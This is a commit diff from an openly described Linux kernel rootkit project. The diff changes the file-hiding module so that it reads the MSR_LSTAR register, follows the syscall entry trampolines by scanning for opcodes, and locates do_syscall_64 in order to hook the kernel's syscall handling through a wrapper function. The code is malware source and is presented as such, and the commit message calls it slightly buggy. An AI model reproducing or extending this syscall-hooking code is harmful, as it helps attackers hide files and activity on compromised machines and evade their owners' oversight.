linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit bb8e1706b2b49ce837f1fbb936d05d3f4b031004
parent b8b58fd70066d4aa9f0ba4d550c449de4acc78cb
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Fri,  8 Jan 2021 21:03:37 +0100

(Only slightly buggy) do_syscall_64 address implemented

Diffstat:
Msrc/filehide_lstar.c | 76+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------
1 file changed, 65 insertions(+), 11 deletions(-)

diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c @@ -6,39 +6,93 @@ #include "filehide_lstar.h" #include "common.h" -#define SEARCHLEN 4096 +#define SEARCHLEN 512 -//This signature entails the register clearing and setup before the call (opcode e8); what follows is the offset for do_syscall64. -//Should definitely be unique enough for the limited amount of bytes we search as even -//$ hexdump -C vmlinux | grep -A 2 "31 ff 48 89 c7" only results in two matches for the whole kernel image -static char sig[20] = {0x45, 0x31, 0xe4, 0x45, 0x31, 0xed, 0x45, 0x31, 0xf6, 0x45, 0x31, 0xff, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0xe8, 0x00}; +//Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece +//(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64 + +//sign-extended mov rdi, imm +static char *movSignExtended = "\x48\xc7\xc7"; + +//The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy +static char *callNearRelative = "\xE8"; static unsigned long read_msr(unsigned int); -static char *find_do_syscall64(char *lstar_addr); +static char *find_do_syscall_64(char *lstar_addr); void g7_syscall_64(unsigned long, struct pt_regs *); -void (*do_syscall64)(unsigned long, struct pt_regs *); +void (*do_syscall_64)(unsigned long, struct pt_regs *); void test_lstar(void) { char *lstar_addr = (char *)read_msr(MSR_LSTAR); - char *syscall64_base = find_do_syscall64(lstar_addr); + char *syscall64_base = find_do_syscall_64(lstar_addr); +} + +//Only use with multiples of 16.. +static void +hexdump(char *addr, int n) +{ + int k = 0; + + DEBUG_INFO("Hexdump:\n"); + while(k <= n) { + DEBUG_INFO("%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX %02hhX", + addr[k], addr[k + 1], addr[k + 2], addr[k + 3], addr[k + 4], addr[k + 5], addr[k + 6], addr[k + 7], addr[k + 8], addr[k + 9], + addr[k + 10], addr[k + 11], addr[k + 12], addr[k + 13], addr[k + 14], addr[k + 15]); + k += 16; + } } +static inline long +sign_extend(int n) +{ + if(n & (1 << 31)) + return n |= 0xFFFFFFFF00000000; + + return n; +} static char * -find_do_syscall64(char *lstar_addr) +find_do_syscall_64(char *lstar_addr) { - //parse asm and find sig + //Step 1: get address of stage 2 trampoline + char *stage2_ptr = strnstr(lstar_addr, movSignExtended, SEARCHLEN); + + if(!stage2_ptr) + return NULL; + + unsigned long stage2_addr = 0; + memcpy(&stage2_addr, (stage2_ptr + 3), 4); //3 bytes offset to skip opcode + + //Sign-extend manually + stage2_addr = sign_extend(stage2_addr); + + //Step 2: conveniently, no 'pointer' chasing is necessary, we can just look for the jump opcode from here + char *syscall64_off_ptr = strnstr((char *)stage2_addr, callNearRelative, SEARCHLEN); + + if(!syscall64_off_ptr) + return NULL; + + unsigned long syscall64_off = 0; + memcpy(&syscall64_off, (syscall64_off_ptr + 1), 4); //1 byte offset to skip opcode + + syscall64_off = sign_extend(syscall64_off); + + unsigned long do_syscall_64_addr = (unsigned long)syscall64_off_ptr + syscall64_off; + hexdump((char *)do_syscall_64_addr, 128); + + DEBUG_INFO("g7_syscall_64 at %lx\n", (unsigned long)g7_syscall_64); + return NULL; } void g7_syscall_64(unsigned long nr, struct pt_regs *regs) { - do_syscall64(nr, regs); + do_syscall_64(nr, regs); } static unsigned long